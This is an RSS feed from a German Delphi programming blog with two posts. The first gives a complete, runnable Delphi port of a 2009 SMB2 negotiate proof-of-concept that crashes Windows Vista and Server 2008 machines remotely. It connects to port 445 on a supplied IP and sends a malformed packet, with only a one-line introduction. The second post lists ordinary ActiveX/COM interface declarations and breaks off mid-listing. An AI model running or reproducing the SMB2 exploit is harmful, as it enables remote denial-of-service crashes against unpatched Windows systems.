<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>gods4u.de &#187; Delphi</title>
	<atom:link href="http://www.gods4u.de/category/delphi/feed" rel="self" type="application/rss+xml" />
	<link>http://www.gods4u.de</link>
	<description>Software - Plugins - Themes - Wordpress</description>
	<lastBuildDate>Wed, 28 Oct 2009 09:10:11 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>SMB2 BSOD</title>
		<link>http://www.gods4u.de/smb2-bsod</link>
		<comments>http://www.gods4u.de/smb2-bsod#comments</comments>
		<pubDate>Wed, 23 Sep 2009 16:22:25 +0000</pubDate>
		<dc:creator>Peter</dc:creator>
				<category><![CDATA[Delphi]]></category>

		<guid isPermaLink="false">http://www.gods4u.de/?p=209</guid>
		<description><![CDATA[Im September 2009 hat Laurent Gaffié einen &#8220;proof-of-concept&#8221; Code veröffentlicht, der zeigt, wie ein PC mit Windows Vista / Server 2008 Maschine (Windows 7 RTM ist nicht betroffen, RC *ist betroffen*) übers Netzwerk zum Absturtz gebracht werden kann. Hier ist meine Delphi Implementierung von dem veröffentlichten Code: smb2_poc.dpr: program smb2_poc; {$APPTYPE CONSOLE} uses WinSock, windows; var [...]]]></description>
			<content:encoded><![CDATA[<p>Im September 2009 hat <a href="http://g-laurent.blogspot.com/2009/09/windows-vista7-smb20-negotiate-protocol.html">Laurent Gaffié</a> einen &#8220;proof-of-concept&#8221; Code veröffentlicht, der zeigt, wie ein PC mit Windows Vista / Server 2008 Maschine (Windows 7 RTM ist nicht betroffen, RC *ist betroffen*) übers Netzwerk zum Absturtz gebracht werden kann. Hier ist meine Delphi Implementierung von dem veröffentlichten Code:</p>
<p><strong>smb2_poc.dpr:</strong><br />
<code><span class="reserved">program</span> smb2_poc<span class="markup">;</span></p>
<p><span class="directive">{$APPTYPE CONSOLE}</span></p>
<p><span class="reserved">uses</span><br />
WinSock<span class="markup">,</span><br />
windows<span class="markup">;</span></p>
<p><span class="reserved">var</span><br />
WSAData    <span class="markup">:</span> TWSAData<span class="markup">;</span><br />
wVersion   <span class="markup">:</span> <span class="type">WORD</span><span class="markup">;</span><br />
s          <span class="markup">:</span> TSocket<span class="markup">;</span><br />
serverAddr <span class="markup">:</span> TSockAddrIn<span class="markup">;</span><br />
ret        <span class="markup">:</span> <span class="type">Integer</span><span class="markup">;</span><br />
nPort      <span class="markup">:</span> <span class="type">Integer</span> <span class="markup">=</span> <span class="integer">445</span><span class="markup">;</span><br />
buff       <span class="markup">:</span> <span class="reserved">Array</span><span class="bracket">[</span><span class="integer">0</span><span class="markup">.</span><span class="real">.147</span><span class="bracket">]</span> <span class="reserved">of</span> <span class="type">Byte</span> <span class="markup">=</span><br />
<span class="parenthesis">(</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$90</span><span class="markup">,</span> <span class="comment1">// Begin SMB header: Session message<br />
</span> <span class="hex">$ff</span><span class="markup">,</span><span class="hex">$53</span><span class="markup">,</span><span class="hex">$4d</span><span class="markup">,</span><span class="hex">$42</span><span class="markup">,</span> <span class="comment1">// Server Component: SMB<br />
</span> <span class="hex">$72</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span> <span class="comment1">// Negociate Protocol<br />
</span> <span class="hex">$00</span><span class="markup">,</span><span class="hex">$18</span><span class="markup">,</span><span class="hex">$53</span><span class="markup">,</span><span class="hex">$c8</span><span class="markup">,</span> <span class="comment1">// Operation 0x18 &amp; sub 0xc853<br />
</span> <span class="hex">$00</span><span class="markup">,</span><span class="hex">$26</span><span class="markup">,</span> <span class="comment1">// Process ID High: --&gt; :) normal value should be "$00,$00"<br />
</span> <span class="hex">$00</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$ff</span><span class="markup">,</span><span class="hex">$ff</span><span class="markup">,</span><span class="hex">$ff</span><span class="markup">,</span><span class="hex">$fe</span><span class="markup">,</span><br />
<span class="hex">$00</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$6d</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$02</span><span class="markup">,</span><span class="hex">$50</span><span class="markup">,</span><span class="hex">$43</span><span class="markup">,</span><span class="hex">$20</span><span class="markup">,</span><span class="hex">$4e</span><span class="markup">,</span><span class="hex">$45</span><span class="markup">,</span><span class="hex">$54</span><span class="markup">,</span><br />
<span class="hex">$57</span><span class="markup">,</span><span class="hex">$4f</span><span class="markup">,</span><span class="hex">$52</span><span class="markup">,</span><span class="hex">$4b</span><span class="markup">,</span><span class="hex">$20</span><span class="markup">,</span><span class="hex">$50</span><span class="markup">,</span><span class="hex">$52</span><span class="markup">,</span><span class="hex">$4f</span><span class="markup">,</span><span class="hex">$47</span><span class="markup">,</span><span class="hex">$52</span><span class="markup">,</span><span class="hex">$41</span><span class="markup">,</span><span class="hex">$4d</span><span class="markup">,</span><span class="hex">$20</span><span class="markup">,</span><span class="hex">$31</span><span class="markup">,</span><br />
<span class="hex">$2e</span><span class="markup">,</span><span class="hex">$30</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$02</span><span class="markup">,</span><span class="hex">$4c</span><span class="markup">,</span><span class="hex">$41</span><span class="markup">,</span><span class="hex">$4e</span><span class="markup">,</span><span class="hex">$4d</span><span class="markup">,</span><span class="hex">$41</span><span class="markup">,</span><span class="hex">$4e</span><span class="markup">,</span><span class="hex">$31</span><span class="markup">,</span><span class="hex">$2e</span><span class="markup">,</span><span class="hex">$30</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><br />
<span class="hex">$02</span><span class="markup">,</span><span class="hex">$57</span><span class="markup">,</span><span class="hex">$69</span><span class="markup">,</span><span class="hex">$6e</span><span class="markup">,</span><span class="hex">$64</span><span class="markup">,</span><span class="hex">$6f</span><span class="markup">,</span><span class="hex">$77</span><span class="markup">,</span><span class="hex">$73</span><span class="markup">,</span><span class="hex">$20</span><span class="markup">,</span><span class="hex">$66</span><span class="markup">,</span><span class="hex">$6f</span><span class="markup">,</span><span class="hex">$72</span><span class="markup">,</span><span class="hex">$20</span><span class="markup">,</span><span class="hex">$57</span><span class="markup">,</span><br />
<span class="hex">$6f</span><span class="markup">,</span><span class="hex">$72</span><span class="markup">,</span><span class="hex">$6b</span><span class="markup">,</span><span class="hex">$67</span><span class="markup">,</span><span class="hex">$72</span><span class="markup">,</span><span class="hex">$6f</span><span class="markup">,</span><span class="hex">$75</span><span class="markup">,</span><span class="hex">$70</span><span class="markup">,</span><span class="hex">$73</span><span class="markup">,</span><span class="hex">$20</span><span class="markup">,</span><span class="hex">$33</span><span class="markup">,</span><span class="hex">$2e</span><span class="markup">,</span><span class="hex">$31</span><span class="markup">,</span><span class="hex">$61</span><span class="markup">,</span><br />
<span class="hex">$00</span><span class="markup">,</span><span class="hex">$02</span><span class="markup">,</span><span class="hex">$4c</span><span class="markup">,</span><span class="hex">$4d</span><span class="markup">,</span><span class="hex">$31</span><span class="markup">,</span><span class="hex">$2e</span><span class="markup">,</span><span class="hex">$32</span><span class="markup">,</span><span class="hex">$58</span><span class="markup">,</span><span class="hex">$30</span><span class="markup">,</span><span class="hex">$30</span><span class="markup">,</span><span class="hex">$32</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$02</span><span class="markup">,</span><span class="hex">$4c</span><span class="markup">,</span><br />
<span class="hex">$41</span><span class="markup">,</span><span class="hex">$4e</span><span class="markup">,</span><span class="hex">$4d</span><span class="markup">,</span><span class="hex">$41</span><span class="markup">,</span><span class="hex">$4e</span><span class="markup">,</span><span class="hex">$32</span><span class="markup">,</span><span class="hex">$2e</span><span class="markup">,</span><span class="hex">$31</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$02</span><span class="markup">,</span><span class="hex">$4e</span><span class="markup">,</span><span class="hex">$54</span><span class="markup">,</span><span class="hex">$20</span><span class="markup">,</span><span class="hex">$4c</span><span class="markup">,</span><br />
<span class="hex">$4d</span><span class="markup">,</span><span class="hex">$20</span><span class="markup">,</span><span class="hex">$30</span><span class="markup">,</span><span class="hex">$2e</span><span class="markup">,</span><span class="hex">$31</span><span class="markup">,</span><span class="hex">$32</span><span class="markup">,</span><span class="hex">$00</span><span class="markup">,</span><span class="hex">$02</span><span class="markup">,</span><span class="hex">$53</span><span class="markup">,</span><span class="hex">$4d</span><span class="markup">,</span><span class="hex">$42</span><span class="markup">,</span><span class="hex">$20</span><span class="markup">,</span><span class="hex">$32</span><span class="markup">,</span><span class="hex">$2e</span><span class="markup">,</span><br />
<span class="hex">$30</span><span class="markup">,</span><span class="hex">$30</span><span class="markup">,</span><span class="hex">$32</span><span class="markup">,</span><span class="hex">$00</span><span class="parenthesis">)</span><span class="markup">;</span></p>
<p><span class="reserved">function</span> ErrorStr<span class="parenthesis">(</span>ErrCode<span class="markup">:</span> <span class="type">Integer</span><span class="parenthesis">)</span><span class="markup">:</span> <span class="reserved">String</span><span class="markup">;</span><br />
<span class="reserved">var</span><br />
s   <span class="markup">:</span> <span class="reserved">String</span><span class="markup">;</span><br />
Len <span class="markup">:</span> <span class="type">Integer</span><span class="markup">;</span><br />
<span class="reserved">begin</span><br />
Setlength<span class="parenthesis">(</span>s<span class="markup">,</span> <span class="integer">260</span><span class="parenthesis">)</span><span class="markup">;</span><br />
Len <span class="markup">:</span><span class="markup">=</span> Formatmessage<span class="parenthesis">(</span>Format_Message_from_System<span class="markup">,</span> <span class="reserved">nil</span><span class="markup">,</span> ErrCode<span class="markup">,</span> <span class="integer">0</span><span class="markup">,</span> <span class="unknown">@</span>s<span class="bracket">[</span><span class="integer">1</span><span class="bracket">]</span><span class="markup">,</span> length<span class="parenthesis">(</span>s<span class="parenthesis">)</span><span class="markup">,</span> <span class="reserved">nil</span><span class="parenthesis">)</span><span class="markup">;</span><br />
Setlength<span class="parenthesis">(</span>s<span class="markup">,</span> Len<span class="parenthesis">)</span><span class="markup">;</span><br />
<span class="else">Result</span> <span class="markup">:</span><span class="markup">=</span> s<span class="markup">;</span><br />
<span class="reserved">end</span><span class="markup">;</span></p>
<p><span class="reserved">function</span> ExtractFileName<span class="parenthesis">(</span><span class="reserved">const</span> Str<span class="markup">:</span> <span class="reserved">String</span><span class="parenthesis">)</span><span class="markup">:</span> <span class="reserved">String</span><span class="markup">;</span><br />
<span class="reserved">var</span><br />
tmpStr <span class="markup">:</span> <span class="reserved">String</span><span class="markup">;</span><br />
i      <span class="markup">:</span> <span class="type">Integer</span><span class="markup">;</span><br />
<span class="reserved">begin</span><br />
tmpStr <span class="markup">:</span><span class="markup">=</span> Str<span class="markup">;</span><br />
i      <span class="markup">:</span><span class="markup">=</span> Pos<span class="parenthesis">(</span><span class="string">'\'</span><span class="markup">,</span> tmpStr<span class="parenthesis">)</span><span class="markup">;</span><br />
<span class="reserved">while</span> i <span class="markup">&gt;</span> <span class="integer">0</span> <span class="reserved">do</span> <span class="reserved">begin</span><br />
tmpStr <span class="markup">:</span><span class="markup">=</span> Copy<span class="parenthesis">(</span>tmpStr<span class="markup">,</span> i<span class="operator">+</span><span class="integer">1</span><span class="markup">,</span> Length<span class="parenthesis">(</span>tmpStr<span class="parenthesis">)</span> <span class="operator">-</span> i<span class="parenthesis">)</span><span class="markup">;</span><br />
i      <span class="markup">:</span><span class="markup">=</span> Pos<span class="parenthesis">(</span><span class="string">'\'</span><span class="markup">,</span> tmpStr<span class="parenthesis">)</span><span class="markup">;</span><br />
<span class="reserved">end</span><span class="markup">;</span><br />
<span class="else">Result</span> <span class="markup">:</span><span class="markup">=</span> tmpStr<span class="markup">;</span><br />
<span class="reserved">end</span><span class="markup">;</span></p>
<p><span class="reserved">begin</span><br />
wVersion <span class="markup">:</span><span class="markup">=</span> MAKEWORD<span class="parenthesis">(</span><span class="integer">2</span><span class="markup">,</span> <span class="integer">2</span><span class="parenthesis">)</span><span class="markup">;</span><br />
<span class="reserved">if</span> <span class="parenthesis">(</span>ParamCount <span class="markup">&lt;</span> <span class="integer">1</span><span class="parenthesis">)</span> <span class="reserved">then</span> <span class="reserved">begin</span><br />
WriteLn<span class="parenthesis">(</span><span class="string">'Usage: '</span> <span class="operator">+</span> ExtractFileName<span class="parenthesis">(</span>ParamStr<span class="parenthesis">(</span><span class="integer">0</span><span class="parenthesis">)</span><span class="parenthesis">)</span> <span class="operator">+</span> <span class="string">' &lt;ip&gt;'</span><span class="parenthesis">)</span><span class="markup">;</span><br />
Exit<span class="markup">;</span><br />
<span class="reserved">end</span><span class="markup">;</span></p>
<p>ret <span class="markup">:</span><span class="markup">=</span> WSAStartup<span class="parenthesis">(</span>wVersion<span class="markup">,</span> wsaData<span class="parenthesis">)</span><span class="markup">;</span><br />
<span class="reserved">if</span> <span class="parenthesis">(</span>ret <span class="markup">&lt;</span><span class="markup">&gt;</span> <span class="integer">0</span> <span class="parenthesis">)</span> <span class="reserved">then</span> <span class="reserved">begin</span></p>
<p>WriteLn<span class="parenthesis">(</span><span class="string">'WSAStartup failed '</span> <span class="operator">+</span> ErrorStr<span class="parenthesis">(</span>ret<span class="parenthesis">)</span><span class="parenthesis">)</span><span class="markup">;</span><br />
Exit<span class="markup">;</span><br />
<span class="reserved">end</span><span class="markup">;</span><br />
<span class="reserved">try</span><br />
s <span class="markup">:</span><span class="markup">=</span> socket<span class="parenthesis">(</span>AF_INET<span class="markup">,</span> SOCK_STREAM<span class="markup">,</span> IPPROTO_TCP<span class="parenthesis">)</span><span class="markup">;</span><br />
<span class="reserved">if</span> <span class="parenthesis">(</span>s <span class="markup">=</span> INVALID_SOCKET<span class="parenthesis">)</span> <span class="reserved">then</span> <span class="reserved">begin</span><br />
WriteLn<span class="parenthesis">(</span><span class="string">'Socket failed with error '</span> <span class="operator">+</span> ErrorStr<span class="parenthesis">(</span>WSAGetLastError<span class="parenthesis">(</span><span class="parenthesis">)</span><span class="parenthesis">)</span><span class="parenthesis">)</span><span class="markup">;</span><br />
Exit<span class="markup">;</span><br />
<span class="reserved">end</span><span class="markup">;</span></p>
<p>serverAddr<span class="markup">.</span>sin_family <span class="markup">:</span><span class="markup">=</span> AF_INET<span class="markup">;</span><br />
serverAddr<span class="markup">.</span>sin_addr<span class="markup">.</span>s_addr <span class="markup">:</span><span class="markup">=</span> inet_addr<span class="parenthesis">(</span><span class="type">PChar</span><span class="parenthesis">(</span>ParamStr<span class="parenthesis">(</span><span class="integer">1</span><span class="parenthesis">)</span><span class="parenthesis">)</span><span class="parenthesis">)</span><span class="markup">;</span><br />
serverAddr<span class="markup">.</span>sin_port <span class="markup">:</span><span class="markup">=</span> htons<span class="parenthesis">(</span>nPort<span class="parenthesis">)</span><span class="markup">;</span></p>
<p>ret <span class="markup">:</span><span class="markup">=</span> Winsock<span class="markup">.</span>connect<span class="parenthesis">(</span>s<span class="markup">,</span> serverAddr<span class="markup">,</span> sizeof<span class="parenthesis">(</span>serverAddr<span class="parenthesis">)</span><span class="parenthesis">)</span><span class="markup">;</span><br />
<span class="reserved">if</span> <span class="parenthesis">(</span>ret <span class="markup">=</span> SOCKET_ERROR<span class="parenthesis">)</span> <span class="reserved">then</span> <span class="reserved">begin</span><br />
WriteLn<span class="parenthesis">(</span><span class="string">'Connection to server failed.'</span><span class="parenthesis">)</span><span class="markup">;</span><br />
closesocket<span class="parenthesis">(</span>s<span class="parenthesis">)</span><span class="markup">;</span><br />
Exit<span class="markup">;</span><br />
<span class="reserved">end</span><span class="markup">;</span></p>
<p>send<span class="parenthesis">(</span>s<span class="markup">,</span> buff<span class="markup">,</span> <span class="integer">148</span><span class="markup">,</span> <span class="integer">0</span><span class="parenthesis">)</span><span class="markup">;</span><br />
<span class="reserved">finally</span><br />
ret <span class="markup">:</span><span class="markup">=</span> WSACleanup<span class="parenthesis">(</span><span class="parenthesis">)</span><span class="markup">;</span><br />
<span class="reserved">if</span> <span class="parenthesis">(</span>ret <span class="markup">=</span> SOCKET_ERROR<span class="parenthesis">)</span> <span class="reserved">then</span> <span class="reserved">begin</span><br />
WriteLn<span class="parenthesis">(</span><span class="string">'WSACleanup failed with error '</span> <span class="operator">+</span> ErrorStr<span class="parenthesis">(</span>WSAGetLastError<span class="parenthesis">(</span><span class="parenthesis">)</span><span class="parenthesis">)</span><span class="parenthesis">)</span><span class="markup">;</span><br />
<span class="reserved">end</span><span class="markup">;</span><br />
<span class="reserved">end</span><span class="markup">;</span><br />
<span class="reserved">end</span><span class="markup">.</span></p>
<p></code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.gods4u.de/smb2-bsod/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>X000X-ActiveX.pas</title>
		<link>http://www.gods4u.de/x000x-activexpas</link>
		<comments>http://www.gods4u.de/x000x-activexpas#comments</comments>
		<pubDate>Fri, 03 Apr 2009 09:50:38 +0000</pubDate>
		<dc:creator>redaktion</dc:creator>
				<category><![CDATA[Delphi]]></category>

		<guid isPermaLink="false">http://www.gods4u.de/?p=63</guid>
		<description><![CDATA[Delphi source Eine kleine Übersicht meiner bisherigen Delphi sourcen. Die alte Übersichtsseite ist noch online und steht hier: delphi source Gefallen Euch meine sourcen &#8211; freue ich mich über Eure Spende &#8211; Danke! X000X-ActiveX.pas Ich habe hier mal ein paar ältere Delphi sourcen eingearbeitet. Die Originale findet Ihr immer noch hier: X000X-Btn.pas X000X-SysUtils.pas X000X-ActiveX.pas unit [...]]]></description>
			<content:encoded><![CDATA[<h3>Delphi source</h3>
<p>Eine kleine Übersicht meiner bisherigen Delphi sourcen. Die alte Übersichtsseite ist noch online und steht hier:</p>
<p><a title="delphiu source" href="http://delphi.gods4u.de/" target="_blank">delphi source</a></p>
<p>Gefallen Euch meine sourcen &#8211; freue ich mich über Eure Spende  &#8211;  Danke!</p>
<form action="https://www.paypal.com/cgi-bin/webscr" method="post">
<input name="cmd" type="hidden" value="_s-xclick" />
<input name="hosted_button_id" type="hidden" value="4217138" />
<input name="submit" src="https://www.paypal.com/de_DE/DE/i/btn/btn_donate_SM.gif" type="image" /> <img src="https://www.paypal.com/de_DE/i/scr/pixel.gif" border="0" alt="" width="1" height="1" /><br />
</form>
<h3>X000X-ActiveX.pas</h3>
<p><span id="more-63"></span></p>
<p>Ich habe hier mal ein paar ältere <a title="delphi source" href="http://gods4u.de" target="_self">Delphi sourcen</a> eingearbeitet. Die Originale findet Ihr immer noch hier:</p>
<p><span style="font-family: Courier New; color: #000000; font-size: small;"><a href="http://delphi.gods4u.de/X000XBtn.html">X000X-Btn.pas</a><br />
<a href="http://delphi.gods4u.de/X000XSysUtils.html">X000X-SysUtils.pas</a><br />
<a href="http://delphi.gods4u.de/X000XActiveX.html">X000X-ActiveX.pas</a></span></p>
<pre><span id="d3a1eded81a1_codebody" class="code">
<span style="font-family: Courier New; color: #000000; font-size: small;">
<strong><span style="color: #000080;">unit</span></strong> X<span style="color: #000000;">000</span>XActiveX<span style="color: #000000;">;</span>

<strong><span style="color: #000080;">interface</span></strong>

<strong><span style="color: #000080;">uses</span></strong> Windows<span style="color: #000000;">;</span>

<strong><span style="color: #000080;">type</span></strong>
  OLE_HANDLE <span style="color: #000000;">=</span> LongWord<span style="color: #000000;">;</span>
  OLE_XPOS_HIMETRIC  <span style="color: #000000;">=</span> Longint<span style="color: #000000;">;</span>
  OLE_YPOS_HIMETRIC  <span style="color: #000000;">=</span> Longint<span style="color: #000000;">;</span>
  OLE_XSIZE_HIMETRIC <span style="color: #000000;">=</span> Longint<span style="color: #000000;">;</span>
  OLE_YSIZE_HIMETRIC <span style="color: #000000;">=</span> Longint<span style="color: #000000;">;</span>
  Largeint <span style="color: #000000;">=</span> Int64;
  POleStr <span style="color: #000000;">=</span> PWideChar<span style="color: #000000;">;</span>
  TIID <span style="color: #000000;">=</span> TGUID<span style="color: #000000;">;</span>
  TCLSID <span style="color: #000000;">=</span> TGUID<span style="color: #000000;">;</span>

  IStream <span style="color: #000000;">=</span> <strong><span style="color: #000080;">interface</span></strong><span style="color: #000000;">;</span>

<em><span style="color: #477ab8;">{ IStream interface }</span></em>

  PStatStg <span style="color: #000000;">=</span> <span style="color: #000000;">^</span>TStatStg<span style="color: #000000;">;</span>
  tagSTATSTG <span style="color: #000000;">=</span> <strong><span style="color: #000080;">record</span></strong>
    pwcsName<span style="color: #000000;">:</span> POleStr<span style="color: #000000;">;</span>
    dwType<span style="color: #000000;">:</span> Longint<span style="color: #000000;">;</span>
    cbSize<span style="color: #000000;">:</span> Largeint<span style="color: #000000;">;</span>
    mtime<span style="color: #000000;">:</span> TFileTime<span style="color: #000000;">;</span>
    ctime<span style="color: #000000;">:</span> TFileTime<span style="color: #000000;">;</span>
    atime<span style="color: #000000;">:</span> TFileTime<span style="color: #000000;">;</span>
    grfMode<span style="color: #000000;">:</span> Longint<span style="color: #000000;">;</span>
    grfLocksSupported<span style="color: #000000;">:</span> Longint<span style="color: #000000;">;</span>
    clsid<span style="color: #000000;">:</span> TCLSID<span style="color: #000000;">;</span>
    grfStateBits<span style="color: #000000;">:</span> Longint<span style="color: #000000;">;</span>
    reserved<span style="color: #000000;">:</span> Longint<span style="color: #000000;">;</span>
  <strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>
  TStatStg <span style="color: #000000;">=</span> tagSTATSTG<span style="color: #000000;">;</span>
  STATSTG <span style="color: #000000;">=</span> TStatStg<span style="color: #000000;">;</span>

  ISequentialStream <span style="color: #000000;">=</span> <strong><span style="color: #000080;">interface</span></strong><span style="color: #000000;">(</span>IUnknown<span style="color: #000000;">)</span>
    <span style="color: #000000;">[</span><span style="color: #000080;">'{0c733a30-2a1c-11ce-ade5-00aa0044773d}'</span><span style="color: #000000;">]</span>
    <strong><span style="color: #000080;">function</span></strong> <strong><span style="color: #000080;">Read</span></strong><span style="color: #000000;">(</span>pv<span style="color: #000000;">:</span> Pointer<span style="color: #000000;">;</span> cb<span style="color: #000000;">:</span> Longint<span style="color: #000000;">;</span> pcbRead<span style="color: #000000;">:</span> PLongint<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span>
      <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> <strong><span style="color: #000080;">Write</span></strong><span style="color: #000000;">(</span>pv<span style="color: #000000;">:</span> Pointer<span style="color: #000000;">;</span> cb<span style="color: #000000;">:</span> Longint<span style="color: #000000;">;</span> pcbWritten<span style="color: #000000;">:</span> PLongint<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span>
      <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
  <strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>

  IStream <span style="color: #000000;">=</span> <strong><span style="color: #000080;">interface</span></strong><span style="color: #000000;">(</span>ISequentialStream<span style="color: #000000;">)</span>
    <span style="color: #000000;">[</span><span style="color: #000080;">'{0000000C-0000-0000-C000-000000000046}'</span><span style="color: #000000;">]</span>
    <strong><span style="color: #000080;">function</span></strong> Seek<span style="color: #000000;">(</span>dlibMove<span style="color: #000000;">:</span> Largeint<span style="color: #000000;">;</span> dwOrigin<span style="color: #000000;">:</span> Longint<span style="color: #000000;">;</span>
      <strong><span style="color: #000080;">out</span></strong> libNewPosition<span style="color: #000000;">:</span> Largeint<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> SetSize<span style="color: #000000;">(</span>libNewSize<span style="color: #000000;">:</span> Largeint<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> CopyTo<span style="color: #000000;">(</span>stm<span style="color: #000000;">:</span> IStream<span style="color: #000000;">;</span> cb<span style="color: #000000;">:</span> Largeint<span style="color: #000000;">;</span> <strong><span style="color: #000080;">out</span></strong> cbRead<span style="color: #000000;">:</span> Largeint<span style="color: #000000;">;</span>
      <strong><span style="color: #000080;">out</span></strong> cbWritten<span style="color: #000000;">:</span> Largeint<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> Commit<span style="color: #000000;">(</span>grfCommitFlags<span style="color: #000000;">:</span> Longint<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> Revert<span style="color: #000000;">:</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> LockRegion<span style="color: #000000;">(</span>libOffset<span style="color: #000000;">:</span> Largeint<span style="color: #000000;">;</span> cb<span style="color: #000000;">:</span> Largeint<span style="color: #000000;">;</span>
      dwLockType<span style="color: #000000;">:</span> Longint<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> UnlockRegion<span style="color: #000000;">(</span>libOffset<span style="color: #000000;">:</span> Largeint<span style="color: #000000;">;</span> cb<span style="color: #000000;">:</span> Largeint<span style="color: #000000;">;</span>
      dwLockType<span style="color: #000000;">:</span> Longint<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> Stat<span style="color: #000000;">(</span><strong><span style="color: #000080;">out</span></strong> statstg<span style="color: #000000;">:</span> TStatStg<span style="color: #000000;">;</span> grfStatFlag<span style="color: #000000;">:</span> Longint<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span>
      <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> Clone<span style="color: #000000;">(</span><strong><span style="color: #000080;">out</span></strong> stm<span style="color: #000000;">:</span> IStream<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
  <strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>

<strong><span style="color: #000080;">type</span></strong>
  IPicture <span style="color: #000000;">=</span> <strong><span style="color: #000080;">interface</span></strong>
    <span style="color: #000000;">[</span><span style="color: #000080;">'{7BF80980-BF32-101A-8BBB-00AA00300CAB}'</span><span style="color: #000000;">]</span>
    <strong><span style="color: #000080;">function</span></strong> get_Handle<span style="color: #000000;">(</span><strong><span style="color: #000080;">out</span></strong> handle<span style="color: #000000;">:</span> OLE_HANDLE<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span>  <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> get_hPal<span style="color: #000000;">(</span><strong><span style="color: #000080;">out</span></strong> handle<span style="color: #000000;">:</span> OLE_HANDLE<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> get_Type<span style="color: #000000;">(</span><strong><span style="color: #000080;">out</span></strong> typ<span style="color: #000000;">:</span> Smallint<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> get_Width<span style="color: #000000;">(</span><strong><span style="color: #000080;">out</span></strong> width<span style="color: #000000;">:</span> OLE_XSIZE_HIMETRIC<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> get_Height<span style="color: #000000;">(</span><strong><span style="color: #000080;">out</span></strong> height<span style="color: #000000;">:</span> OLE_YSIZE_HIMETRIC<span style="color: #000000;">):</span> HResult<span style="color: #000000;">;</span> <strong><span style="color: #000080;">stdcall</span></strong><span style="color: #000000;">;</span>
    <strong><span style="color: #000080;">function</span></strong> Render<span style="color: #000000;">(</span>dc<span style="color: #000000;">:</span> HDC<span style="color: #000000;">;</span> x<span style="color: #000000;">,</span> y<span style="color: #000000;">,</span> cx<span style="color: #000000;">,</span> cy<span style="color: #000000;">:</span> Longint<span style="color: #000000;">;</span>
